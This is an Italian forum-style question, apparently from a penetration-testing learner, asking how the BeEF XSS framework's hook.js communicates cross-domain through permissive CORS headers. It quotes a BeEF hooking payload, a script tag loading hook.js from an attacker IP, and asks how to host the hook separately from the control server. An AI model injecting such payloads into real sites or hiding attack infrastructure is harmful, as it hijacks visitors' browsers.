Sto studiando BeEf XSS perché penso che sia uno strumento molto interessante per un tester di penetrazione, ma ho un paio di dubbi a riguardo, in particolare quando lo collego alla richiesta di un dominio incrociato.
Quindi, in qualche modo, siamo in grado di forzare il browser dell'utente a includere il seguente tag hmtl:
<script src="http://X.X.X.1:3000/hook.js"></script>
Il browser non si lamenta perché l'attributo src può contenere qualsiasi dominio, non solo quello che l'utente sta navigando. Quindi, a quanto ho capito, hook.js non sta aprendo una porta sul client poiché non è supportato da JS, ma richiama comandi che eseguono un XMLHttpRequest dal server BeEF (che è hardcoded nel hook.js).
Quindi esegue i comandi nel browser e restituisce il risultato (ovviamente ci deve essere una sorta di protocollo interno che il server BeEF capisce). Il motivo per cui funziona è che il server BeEF imposta i seguenti elementi nell'intestazione HTTP:
HTTP/1.1 200 OK
Content-Type: text/javascript
Server: Apache/2.2.3 (CentOS)
Pragma: no-cache
Cache-Control: no-cache
Expires: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET
Content-Length: 412404
Connection: keep-alive
L'ho annusato quando ho provato tutto in locale, quindi fondamentalmente c'è la direttiva Access-Control-Allow-Origin
con la quale il browser dell'utente consentirà questa comunicazione.
Il mio modo di pensare è corretto?
Inoltre, sai se hook.js può essere scaricato dal server A, ma poi punta al Server B? Altrimenti, in pratica stai mostrando l'indirizzo della macchina in cui è ospitato hook.js e devi anche avere accesso a quella macchina.